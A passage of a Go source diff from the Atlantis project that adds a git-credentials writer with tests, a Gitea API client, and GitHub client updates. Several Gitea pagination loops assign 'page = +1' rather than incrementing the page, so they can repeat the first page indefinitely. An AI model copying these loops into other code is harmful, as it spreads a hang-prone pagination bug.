toWrite == "" { + return fileAppend(line, filename) + } + + return os.WriteFile(filename, []byte(toWrite), 0600) +} + +func fileHasGHToken(user, host, filename string) (bool, error) { + currContents, err := os.ReadFile(filename) // nolint: gosec + if err != nil { + return false, err + } + prevLines := strings.Split(string(currContents), "\n") + for _, l := range prevLines { + if strings.HasPrefix(l, "https://"+user) && strings.HasSuffix(l, host) { + return true, nil + } + } + return false, nil +} diff --git a/server/events/vcs/git_cred_writer_test.go b/server/events/vcs/git_cred_writer_test.go new file mode 100644 index 0000000000..b8692bf25d --- /dev/null +++ b/server/events/vcs/git_cred_writer_test.go @@ -0,0 +1,180 @@ +package vcs_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "testing" + + "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +// Test that we write the file as expected +func TestWriteGitCreds_WriteFile(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + err := vcs.WriteGitCreds("user", "token", "hostname", tmp, logger, false) + Ok(t, err) + + expContents := `https://user:token@hostname` + + actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) + Ok(t, err) + Equals(t, expContents, string(actContents)) +} + +// Test that if the file already exists and it doesn't have the line we would +// have written, we write it. +func TestWriteGitCreds_Appends(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + credsFile := filepath.Join(tmp, ".git-credentials") + err := os.WriteFile(credsFile, []byte("contents"), 0600) + Ok(t, err) + + err = vcs.WriteGitCreds("user", "token", "hostname", tmp, logger, false) + Ok(t, err) + + expContents := "contents\nhttps://user:token@hostname" + actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) + Ok(t, err) + Equals(t, expContents, string(actContents)) +} + +// Test that if the file already exists and it already has the line expected +// we do nothing. +func TestWriteGitCreds_NoModification(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + credsFile := filepath.Join(tmp, ".git-credentials") + contents := "line1\nhttps://user:token@hostname\nline2" + err := os.WriteFile(credsFile, []byte(contents), 0600) + Ok(t, err) + + err = vcs.WriteGitCreds("user", "token", "hostname", tmp, logger, false) + Ok(t, err) + actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) + Ok(t, err) + Equals(t, contents, string(actContents)) +} + +// Test that the github app credentials get replaced. +func TestWriteGitCreds_ReplaceApp(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + credsFile := filepath.Join(tmp, ".git-credentials") + contents := "line1\nhttps://x-access-token:v1.87dddddddddddddddd@github.com\nline2" + err := os.WriteFile(credsFile, []byte(contents), 0600) + Ok(t, err) + + err = vcs.WriteGitCreds("x-access-token", "token", "github.com", tmp, logger, true) + Ok(t, err) + expContents := "line1\nhttps://x-access-token:token@github.com\nline2" + actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) + Ok(t, err) + Equals(t, expContents, string(actContents)) +} + +// Test that the github app credential gets added even if there are other credentials. +func TestWriteGitCreds_AppendAppWhenFileNotEmpty(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + credsFile := filepath.Join(tmp, ".git-credentials") + contents := "line1\nhttps://user:token@host.com\nline2" + err := os.WriteFile(credsFile, []byte(contents), 0600) + Ok(t, err) + + err = vcs.WriteGitCreds("x-access-token", "token", "github.com", tmp, logger, true) + Ok(t, err) + expContents := "line1\nhttps://user:token@host.com\nline2\nhttps://x-access-token:token@github.com" + actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) + Ok(t, err) + Equals(t, expContents, string(actContents)) +} + +// Test that the github app credentials get updated when cred file is empty. +func TestWriteGitCreds_AppendApp(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + credsFile := filepath.Join(tmp, ".git-credentials") + contents := "" + err := os.WriteFile(credsFile, []byte(contents), 0600) + Ok(t, err) + + err = vcs.WriteGitCreds("x-access-token", "token", "github.com", tmp, logger, true) + Ok(t, err) + expContents := "https://x-access-token:token@github.com" + actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) + Ok(t, err) + Equals(t, expContents, string(actContents)) +} + +// Test that if we can't read the existing file to see if the contents will be +// the same that we just error out. +func TestWriteGitCreds_ErrIfCannotRead(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + credsFile := filepath.Join(tmp, ".git-credentials") + err := os.WriteFile(credsFile, []byte("can't see me!"), 0000) + Ok(t, err) + + expErr := fmt.Sprintf("open %s: permission denied", credsFile) + actErr := vcs.WriteGitCreds("user", "token", "hostname", tmp, logger, false) + ErrContains(t, expErr, actErr) +} + +// Test that if we can't write, we error out. +func TestWriteGitCreds_ErrIfCannotWrite(t *testing.T) { + logger := logging.NewNoopLogger(t) + credsFile := "/this/dir/does/not/exist/.git-credentials" // nolint: gosec + expErr := fmt.Sprintf("writing generated .git-credentials file with user, token and hostname to %s: open %s: no such file or directory", credsFile, credsFile) + actErr := vcs.WriteGitCreds("user", "token", "hostname", "/this/dir/does/not/exist", logger, false) + ErrEquals(t, expErr, actErr) +} + +// Test that git is actually configured to use the credentials +func TestWriteGitCreds_ConfigureGitCredentialHelper(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + err := vcs.WriteGitCreds("user", "token", "hostname", tmp, logger, false) + Ok(t, err) + + expOutput := `store` + actOutput, err := exec.Command("git", "config", "--global", "credential.helper").Output() + Ok(t, err) + Equals(t, expOutput+"\n", string(actOutput)) +} + +// Test that git is configured to use https instead of ssh +func TestWriteGitCreds_ConfigureGitUrlOverride(t *testing.T) { + logger := logging.NewNoopLogger(t) + tmp := t.TempDir() + t.Setenv("HOME", tmp) + + err := vcs.WriteGitCreds("user", "token", "hostname", tmp, logger, false) + Ok(t, err) + + expOutput := `ssh://git@hostname` + actOutput, err := exec.Command("git", "config", "--global", "url.https://user@hostname.insteadof").Output() + Ok(t, err) + Equals(t, expOutput+"\n", string(actOutput)) +} diff --git a/server/events/vcs/gitea/client.go b/server/events/vcs/gitea/client.go new file mode 100644 index 0000000000..d1fa00dc88 --- /dev/null +++ b/server/events/vcs/gitea/client.go @@ -0,0 +1,517 @@ +// Copyright 2024 Martijn van der Kleijn & Florian Beisel +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package gitea + +import ( + "context" + "encoding/base64" + "fmt" + "strings" + "time" + + "code.gitea.io/sdk/gitea" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" +) + +// Emergency break for Gitea pagination (just in case) +// Set to 500 to prevent runaway situations +// Value chosen purposely high, though randomly. +const giteaPaginationEBreak = 500 + +type GiteaClient struct { + giteaClient *gitea.Client + username string + token string + pageSize int + ctx context.Context +} + +type GiteaPRReviewSummary struct { + Reviews []GiteaReview +} + +type GiteaReview struct { + ID int64 + Body string + Reviewer string + State gitea.ReviewStateType // e.g., "APPROVED", "PENDING", "REQUEST_CHANGES" + SubmittedAt time.Time +} + +type GiteaPullGetter interface { + GetPullRequest(repo models.Repo, pullNum int) (*gitea.PullRequest, error) +} + +// NewClient builds a client that makes API calls to Gitea. httpClient is the +// client to use to make the requests, username and password are used as basic +// auth in the requests, baseURL is the API's baseURL, ex. https://corp.com:7990. +// Don't include the API version, ex. '/1.0'. +func NewClient(baseURL string, username string, token string, pagesize int, logger logging.SimpleLogging) (*GiteaClient, error) { + logger.Debug("Creating new Gitea client for: %s", baseURL) + + giteaClient, err := gitea.NewClient(baseURL, + gitea.SetToken(token), + gitea.SetUserAgent("atlantis"), + ) + + if err != nil { + return nil, errors.Wrap(err, "creating gitea client") + } + + return &GiteaClient{ + giteaClient: giteaClient, + username: username, + token: token, + pageSize: pagesize, + ctx: context.Background(), + }, nil +} + +func (c *GiteaClient) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*gitea.PullRequest, error) { + logger.Debug("Getting Gitea pull request %d", pullNum) + + pr, resp, err := c.giteaClient.GetPullRequest(repo.Owner, repo.Name, int64(pullNum)) + + if err != nil { + logger.Debug("GET /repos/%v/%v/pulls/%d returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) + return nil, err + } + + return pr, nil +} + +// GetModifiedFiles returns the names of files that were modified in the merge request +// relative to the repo root, e.g. parent/child/file.txt. +func (c *GiteaClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + logger.Debug("Getting modified files for Gitea pull request %d", pull.Num) + + changedFiles := make([]string, 0) + page := 0 + nextPage := 1 + listOptions := gitea.ListPullRequestFilesOptions{ + ListOptions: gitea.ListOptions{ + Page: 1, + PageSize: c.pageSize, + }, + } + + for page < nextPage { + page = +1 + listOptions.ListOptions.Page = page + files, resp, err := c.giteaClient.ListPullRequestFiles(repo.Owner, repo.Name, int64(pull.Num), listOptions) + if err != nil { + logger.Debug("[page %d] GET /repos/%v/%v/pulls/%d/files returned: %v", page, repo.Owner, repo.Name, pull.Num, resp.StatusCode) + return nil, err + } + + for _, file := range files { + changedFiles = append(changedFiles, file.Filename) + } + + nextPage = resp.NextPage + + // Emergency break after giteaPaginationEBreak pages + if page >= giteaPaginationEBreak { + break + } + } + + return changedFiles, nil +} + +// CreateComment creates a comment on the merge request. As far as we're aware, Gitea has no built in max comment length right now. +func (c *GiteaClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { + logger.Debug("Creating comment on Gitea pull request %d", pullNum) + + opt := gitea.CreateIssueCommentOption{ + Body: comment, + } + + _, resp, err := c.giteaClient.CreateIssueComment(repo.Owner, repo.Name, int64(pullNum), opt) + + if err != nil { + logger.Debug("POST /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) + return err + } + + logger.Debug("Added comment to Gitea pull request %d: %s", pullNum, comment) + + return nil +} + +// ReactToComment adds a reaction to a comment. +func (c *GiteaClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { + logger.Debug("Adding reaction to Gitea pull request comment %d", commentID) + + _, resp, err := c.giteaClient.PostIssueCommentReaction(repo.Owner, repo.Name, commentID, reaction) + + if err != nil { + logger.Debug("POST /repos/%v/%v/issues/comments/%d/reactions returned: %v", repo.Owner, repo.Name, commentID, resp.StatusCode) + return err + } + + return nil +} + +// HidePrevCommandComments hides the previous command comments from the pull +// request. +func (c *GiteaClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { + logger.Debug("Hiding previous command comments on Gitea pull request %d", pullNum) + + var allComments []*gitea.Comment + + nextPage := int(1) + for { + // Initialize ListIssueCommentOptions with the current page + opts := gitea.ListIssueCommentOptions{ + ListOptions: gitea.ListOptions{ + Page: nextPage, + PageSize: c.pageSize, + }, + } + + comments, resp, err := c.giteaClient.ListIssueComments(repo.Owner, repo.Name, int64(pullNum), opts) + if err != nil { + logger.Debug("GET /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) + return err + } + + allComments = append(allComments, comments...) + + // Break the loop if there are no more pages to fetch + if resp.NextPage == 0 { + break + } + nextPage = resp.NextPage + } + + currentUser, resp, err := c.giteaClient.GetMyUserInfo() + if err != nil { + logger.Debug("GET /user returned: %v", resp.StatusCode) + return err + } + + summaryHeader := fmt.Sprintf("
Superseded Atlantis %s", command) + summaryFooter := "
" + lineFeed := "\n" + + for _, comment := range allComments { + if comment.Poster == nil || comment.Poster.UserName != currentUser.UserName { + continue + } + + body := strings.Split(comment.Body, "\n") + if len(body) == 0 || (!strings.Contains(strings.ToLower(body[0]), strings.ToLower(command)) && dir != "" && !strings.Contains(strings.ToLower(body[0]), strings.ToLower(dir))) { + continue + } + + supersededComment := summaryHeader + lineFeed + comment.Body + lineFeed + summaryFooter + lineFeed + + logger.Debug("Hiding comment %s", comment.ID) + _, _, err := c.giteaClient.EditIssueComment(repo.Owner, repo.Name, comment.ID, gitea.EditIssueCommentOption{ + Body: supersededComment, + }) + if err != nil { + return err + } + } + + return nil +} + +// PullIsApproved returns ApprovalStatus with IsApproved set to true if the pull request has a review that approved the PR. +func (c *GiteaClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { + logger.Debug("Checking if Gitea pull request %d is approved", pull.Num) + + page := 0 + nextPage := 1 + + approvalStatus := models.ApprovalStatus{ + IsApproved: false, + } + + listOptions := gitea.ListPullReviewsOptions{ + ListOptions: gitea.ListOptions{ + Page: 1, + PageSize: c.pageSize, + }, + } + + for page < nextPage { + page = +1 + listOptions.ListOptions.Page = page + pullReviews, resp, err := c.giteaClient.ListPullReviews(repo.Owner, repo.Name, int64(pull.Num), listOptions) + + if err != nil { + logger.Debug("GET /repos/%v/%v/pulls/%d/reviews returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) + return approvalStatus, err + } + + for _, review := range pullReviews { + if review.State == gitea.ReviewStateApproved { + approvalStatus.IsApproved = true + approvalStatus.ApprovedBy = review.Reviewer.UserName + approvalStatus.Date = review.Submitted + + return approvalStatus, nil + } + } + + nextPage = resp.NextPage + + // Emergency break after giteaPaginationEBreak pages + if page >= giteaPaginationEBreak { + break + } + } + + return approvalStatus, nil +} + +// PullIsMergeable returns true if the pull request is mergeable +func (c *GiteaClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (bool, error) { + logger.Debug("Checking if Gitea pull request %d is mergeable", pull.Num) + + pullRequest, _, err := c.giteaClient.GetPullRequest(repo.Owner, repo.Name, int64(pull.Num)) + + if err != nil { + return false, err + } + + logger.Debug("Gitea pull request is mergeable: %v (%v)", pullRequest.Mergeable, pull.Num) + + return pullRequest.Mergeable, nil +} + +// UpdateStatus updates the commit status to state for pull. src is the +// source of this status. This should be relatively static across runs, +// ex. atlantis/plan or atlantis/apply. +// description is a description of this particular status update and can +// change across runs. +// url is an optional link that users should click on for more information +// about this status. +func (c *GiteaClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { + giteaState := gitea.StatusFailure + + switch state { + case models.PendingCommitStatus: + giteaState = gitea.StatusPending + case models.SuccessCommitStatus: + giteaState = gitea.StatusSuccess + case models.FailedCommitStatus: + giteaState = gitea.StatusFailure + } + + logger.Info("Updating Gitea check status for '%s' to '%s'", src, state) + + newStatusOption := gitea.CreateStatusOption{ + State: giteaState, + TargetURL: url, + Description: description, + } + + _, resp, err := c.giteaClient.CreateStatus(repo.Owner, repo.Name, pull.HeadCommit, newStatusOption) + + if err != nil { + logger.Debug("POST /repos/%v/%v/statuses/%s returned: %v", repo.Owner, repo.Name, pull.HeadCommit, resp.StatusCode) + return err + } + + logger.Debug("Gitea status for pull request updated: %v (%v)", state, pull.Num) + + return nil +} + +// DiscardReviews discards / dismisses all pull request reviews +func (c *GiteaClient) DiscardReviews(_ logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { + page := 0 + nextPage := 1 + + dismissOptions := gitea.DismissPullReviewOptions{ + Message: "Dismissed by Atlantis", + } + + listOptions := gitea.ListPullReviewsOptions{ + ListOptions: gitea.ListOptions{ + Page: 1, + PageSize: c.pageSize, + }, + } + + for page < nextPage { + page = +1 + listOptions.ListOptions.Page = page + pullReviews, resp, err := c.giteaClient.ListPullReviews(repo.Owner, repo.Name, int64(pull.Num), listOptions) + + if err != nil { + return err + } + + for _, review := range pullReviews { + _, err := c.giteaClient.DismissPullReview(repo.Owner, repo.Name, int64(pull.Num), review.ID, dismissOptions) + + if err != nil { + return err + } + } + + nextPage = resp.NextPage + + // Emergency break after giteaPaginationEBreak pages + if page >= giteaPaginationEBreak { + break + } + } + + return nil +} + +func (c *GiteaClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { + logger.Debug("Merging Gitea pull request %d", pull.Num) + + mergeOptions := gitea.MergePullRequestOption{ + Style: gitea.MergeStyleMerge, + Title: "Atlantis merge", + Message: "Automatic merge by Atlantis", + DeleteBranchAfterMerge: pullOptions.DeleteSourceBranchOnMerge, + ForceMerge: false, + HeadCommitId: pull.HeadCommit, + MergeWhenChecksSucceed: false, + } + + succeeded, resp, err := c.giteaClient.MergePullRequest(pull.BaseRepo.Owner, pull.BaseRepo.Name, int64(pull.Num), mergeOptions) + + if err != nil { + logger.Debug("POST /repos/%v/%v/pulls/%d/merge returned: %v", pull.BaseRepo.Owner, pull.BaseRepo.Name, pull.Num, resp.StatusCode) + return err + } + + if !succeeded { + return fmt.Errorf("merge failed: %s", resp.Status) + } + + return nil +} + +// MarkdownPullLink specifies the string used in a pull request comment to reference another pull request. +func (c *GiteaClient) MarkdownPullLink(pull models.PullRequest) (string, error) { + return fmt.Sprintf("#%d", pull.Num), nil +} + +// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). +func (c *GiteaClient) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { + // TODO: implement + return nil, errors.New("GetTeamNamesForUser not (yet) implemented for Gitea client") +} + +// GetFileContent a repository file content from VCS (which support fetch a single file from repository) +// The first return value indicates whether the repo contains a file or not +// if BaseRepo had a file, its content will placed on the second return value +func (c *GiteaClient) GetFileContent(logger logging.SimpleLogging, pull models.PullRequest, fileName string) (bool, []byte, error) { + logger.Debug("Getting file content for %s in Gitea pull request %d", fileName, pull.Num) + + content, resp, err := c.giteaClient.GetContents(pull.BaseRepo.Owner, pull.BaseRepo.Name, pull.HeadCommit, fileName) + + if err != nil { + logger.Debug("GET /repos/%v/%v/contents/%s?ref=%v returned: %v", pull.BaseRepo.Owner, pull.BaseRepo.Name, fileName, pull.HeadCommit, resp.StatusCode) + return false, nil, err + } + + if content.Type == "file" { + decodedData, err := base64.StdEncoding.DecodeString(*content.Content) + if err != nil { + return true, []byte{}, err + } + return true, decodedData, nil + } + + return false, nil, nil +} + +// SupportsSingleFileDownload returns true if the VCS supports downloading a single file +func (c *GiteaClient) SupportsSingleFileDownload(repo models.Repo) bool { + return true +} + +// GetCloneURL returns the clone URL of the repo +func (c *GiteaClient) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) { + logger.Debug("Getting clone URL for %s", repo) + + parts := strings.Split(repo, "/") + if len(parts) < 2 { + return "", errors.New("invalid repo format, expected 'owner/repo'") + } + repository, _, err := c.giteaClient.GetRepo(parts[0], parts[1]) + if err != nil { + logger.Debug("GET /repos/%v/%v returned an error: %v", parts[0], parts[1], err) + return "", err + } + return repository.CloneURL, nil +} + +// GetPullLabels returns the labels of a pull request +func (c *GiteaClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + logger.Debug("Getting labels for Gitea pull request %d", pull.Num) + + page := 0 + nextPage := 1 + results := make([]string, 0) + + opts := gitea.ListLabelsOptions{ + ListOptions: gitea.ListOptions{ + Page: 0, + PageSize: c.pageSize, + }, + } + + for page < nextPage { + page = +1 + opts.ListOptions.Page = page + + labels, resp, err := c.giteaClient.GetIssueLabels(repo.Owner, repo.Name, int64(pull.Num), opts) + + if err != nil { + logger.Debug("GET /repos/%v/%v/issues/%d/labels?%v returned: %v", repo.Owner, repo.Name, pull.Num, "unknown", resp.StatusCode) + return nil, err + } + + for _, label := range labels { + results = append(results, label.Name) + } + + nextPage = resp.NextPage + + // Emergency break after giteaPaginationEBreak pages + if page >= giteaPaginationEBreak { + break + } + } + + return results, nil +} + +func ValidateSignature(payload []byte, signature string, secretKey []byte) error { + isValid, err := gitea.VerifyWebhookSignature(string(secretKey), signature, payload) + if err != nil { + return errors.New("signature verification internal error") + } + if !isValid { + return errors.New("invalid signature") + } + + return nil +} diff --git a/server/events/vcs/gitea/models.go b/server/events/vcs/gitea/models.go new file mode 100644 index 0000000000..e624578e24 --- /dev/null +++ b/server/events/vcs/gitea/models.go @@ -0,0 +1,30 @@ +// Copyright 2024 Florian Beisel +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package gitea + +import "code.gitea.io/sdk/gitea" + +type GiteaWebhookPayload struct { + Action string `json:"action"` + Number int `json:"number"` + PullRequest gitea.PullRequest `json:"pull_request"` +} + +type GiteaIssueCommentPayload struct { + Action string `json:"action"` + Comment gitea.Comment `json:"comment"` + Repository gitea.Repository `json:"repository"` + Issue gitea.Issue `json:"issue"` +} diff --git a/server/events/vcs/github_client.go b/server/events/vcs/github_client.go index 3181d06956..64073a9a92 100644 --- a/server/events/vcs/github_client.go +++ b/server/events/vcs/github_client.go @@ -17,16 +17,20 @@ import ( "context" "encoding/base64" "fmt" + "maps" "net/http" + "slices" + "sort" + "strconv" "strings" "time" - "github.com/Laisky/graphql" - "github.com/google/go-github/v31/github" + "github.com/gofri/go-github-ratelimit/github_ratelimit" + "github.com/google/go-github/v71/github" "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/common" - "github.com/runatlantis/atlantis/server/events/yaml" "github.com/runatlantis/atlantis/server/logging" "github.com/shurcooL/githubv4" ) @@ -35,13 +39,54 @@ import ( // by GitHub. const maxCommentLength = 65536 +var ( + clientMutationID = githubv4.NewString("atlantis") + pullRequestDismissalMessage = *githubv4.NewString("Dismissing reviews because of plan changes") +) + +type GithubRepoIdCacheEntry struct { + RepoId githubv4.Int + LookupTime time.Time +} + +type GitHubRepoIdCache struct { + cache map[githubv4.String]GithubRepoIdCacheEntry +} + +func NewGitHubRepoIdCache() GitHubRepoIdCache { + return GitHubRepoIdCache{ + cache: make(map[githubv4.String]GithubRepoIdCacheEntry), + } +} + +func (c *GitHubRepoIdCache) Get(key githubv4.String) (githubv4.Int, bool) { + entry, ok := c.cache[key] + if !ok { + return githubv4.Int(0), false + } + if time.Since(entry.LookupTime) > time.Hour { + delete(c.cache, key) + return githubv4.Int(0), false + } + return entry.RepoId, true +} + +func (c *GitHubRepoIdCache) Set(key githubv4.String, value githubv4.Int) { + c.cache[key] = GithubRepoIdCacheEntry{ + RepoId: value, + LookupTime: time.Now(), + } +} + // GithubClient is used to perform GitHub actions. type GithubClient struct { - user string - client *github.Client - v4MutateClient *graphql.Client - ctx context.Context - logger *logging.SimpleLogger + user string + client *github.Client + v4Client *githubv4.Client + ctx context.Context + config GithubConfig + maxCommentsPerCommand int + repoIdCache GitHubRepoIdCache } // GithubAppTemporarySecrets holds app credentials obtained from github after creation. @@ -58,53 +103,77 @@ type GithubAppTemporarySecrets struct { URL string } +type GithubReview struct { + ID githubv4.ID + SubmittedAt githubv4.DateTime + Author struct { + Login githubv4.String + } +} + +type GithubPRReviewSummary struct { + ReviewDecision githubv4.String + Reviews []GithubReview +} + // NewGithubClient returns a valid GitHub client. -func NewGithubClient(hostname string, credentials GithubCredentials, logger *logging.SimpleLogger) (*GithubClient, error) { + +func NewGithubClient(hostname string, credentials GithubCredentials, config GithubConfig, maxCommentsPerCommand int, logger logging.SimpleLogging) (*GithubClient, error) { + logger.Debug("Creating new GitHub client for host: %s", hostname) transport, err := credentials.Client() if err != nil { return nil, errors.Wrap(err, "error initializing github authentication transport") } + transportWithRateLimit, err := github_ratelimit.NewRateLimitWaiterClient(transport.Transport) + if err != nil { + return nil, errors.Wrap(err, "error initializing github rate limit transport") + } + var graphqlURL string var client *github.Client if hostname == "github.com" { - client = github.NewClient(transport) + client = github.NewClient(transportWithRateLimit) graphqlURL = "https://api.github.com/graphql" } else { apiURL := resolveGithubAPIURL(hostname) - client, err = github.NewEnterpriseClient(apiURL.String(), apiURL.String(), transport) + // TODO: Deprecated: Use NewClient(httpClient).WithEnterpriseURLs(baseURL, uploadURL) instead + client, err = github.NewEnterpriseClient(apiURL.String(), apiURL.String(), transportWithRateLimit) //nolint:staticcheck if err != nil { return nil, err } graphqlURL = fmt.Sprintf("https://%s/api/graphql", apiURL.Host) } - // shurcooL's githubv4 library has a client ctor, but it doesn't support schema - // previews, which need custom Accept headers (https://developer.github.com/v4/previews) - // So for now use the graphql client, since the githubv4 library was basically - // a simple wrapper around it. And instead of using shurcooL's graphql lib, use - // Laisky's, since shurcooL's doesn't support custom headers. - // Once the Minimize Comment schema is official, this can revert back to using - // shurcooL's libraries completely. - v4MutateClient := graphql.NewClient( - graphqlURL, - transport, - graphql.WithHeader("Accept", "application/vnd.github.queen-beryl-preview+json"), - ) + // Use the client from shurcooL's githubv4 library for queries. + v4Client := githubv4.NewEnterpriseClient(graphqlURL, transportWithRateLimit) + + user, err := credentials.GetUser() + logger.Debug("GH User: %s", user) + + if err != nil { + return nil, errors.Wrap(err, "getting user") + } + return &GithubClient{ - user: credentials.GetUser(), - client: client, - v4MutateClient: v4MutateClient, - ctx: context.Background(), - logger: logger, + user: user, + client: client, + v4Client: v4Client, + ctx: context.Background(), + config: config, + maxCommentsPerCommand: maxCommentsPerCommand, + repoIdCache: NewGitHubRepoIdCache(), }, nil } // GetModifiedFiles returns the names of files that were modified in the pull request // relative to the repo root, e.g. parent/child/file.txt. -func (g *GithubClient) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { +func (g *GithubClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + logger.Debug("Getting modified files for GitHub pull request %d", pull.Num) var files []string nextPage := 0 + +listloop: for { opts := github.ListOptions{ PerPage: 300, @@ -112,24 +181,44 @@ func (g *GithubClient) GetModifiedFiles(repo models.Repo, pull models.PullReques if nextPage != 0 { opts.Page = nextPage } - g.logger.Debug("GET /repos/%v/%v/pulls/%d/files", repo.Owner, repo.Name, pull.Num) - pageFiles, resp, err := g.client.PullRequests.ListFiles(g.ctx, repo.Owner, repo.Name, pull.Num, &opts) - if err != nil { - return files, err - } - for _, f := range pageFiles { - files = append(files, f.GetFilename()) + // GitHub has started to return 404's sometimes. They've got some + // eventual consistency issues going on so we're just going to attempt + // up to 5 times for each page with exponential backoff. + maxAttempts := 5 + attemptDelay := 0 * time.Second + for i := 0; i < maxAttempts; i++ { + // First don't sleep, then sleep 1, 3, 7, etc. + time.Sleep(attemptDelay) + attemptDelay = 2*attemptDelay + 1*time.Second - // If the file was renamed, we'll want to run plan in the directory - // it was moved from as well. - if f.GetStatus() == "renamed" { - files = append(files, f.GetPreviousFilename()) + pageFiles, resp, err := g.client.PullRequests.ListFiles(g.ctx, repo.Owner, repo.Name, pull.Num, &opts) + if resp != nil { + logger.Debug("[attempt %d] GET /repos/%v/%v/pulls/%d/files returned: %v", i+1, repo.Owner, repo.Name, pull.Num, resp.StatusCode) } - } - if resp.NextPage == 0 { + if err != nil { + ghErr, ok := err.(*github.ErrorResponse) + if ok && ghErr.Response.StatusCode == 404 { + // (hopefully) transient 404, retry after backoff + continue + } + // something else, give up + return files, err + } + for _, f := range pageFiles { + files = append(files, f.GetFilename()) + + // If the file was renamed, we'll want to run plan in the directory + // it was moved from as well. + if f.GetStatus() == "renamed" { + files = append(files, f.GetPreviousFilename()) + } + } + if resp.NextPage == 0 { + break listloop + } + nextPage = resp.NextPage break } - nextPage = resp.NextPage } return files, nil } @@ -137,7 +226,8 @@ func (g *GithubClient) GetModifiedFiles(repo models.Repo, pull models.PullReques // CreateComment creates a comment on the pull request. // If comment length is greater than the max comment length we split into // multiple comments. -func (g *GithubClient) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { +func (g *GithubClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { + logger.Debug("Creating comment on GitHub pull request %d", pullNum) var sepStart string sepEnd := "\n```\n
" + @@ -151,10 +241,16 @@ func (g *GithubClient) CreateComment(repo models.Repo, pullNum int, comment stri "```diff\n" } - comments := common.SplitComment(comment, maxCommentLength, sepEnd, sepStart) - for _, c := range comments { - g.logger.Debug("POST /repos/%v/%v/issues/%d/comments", repo.Owner, repo.Name, pullNum) - _, _, err := g.client.Issues.CreateComment(g.ctx, repo.Owner, repo.Name, pullNum, &github.IssueComment{Body: &c}) + truncationHeader := "> [!WARNING]\n" + + "> **Warning**: Command output is larger than the maximum number of comments per command. Output truncated.\n
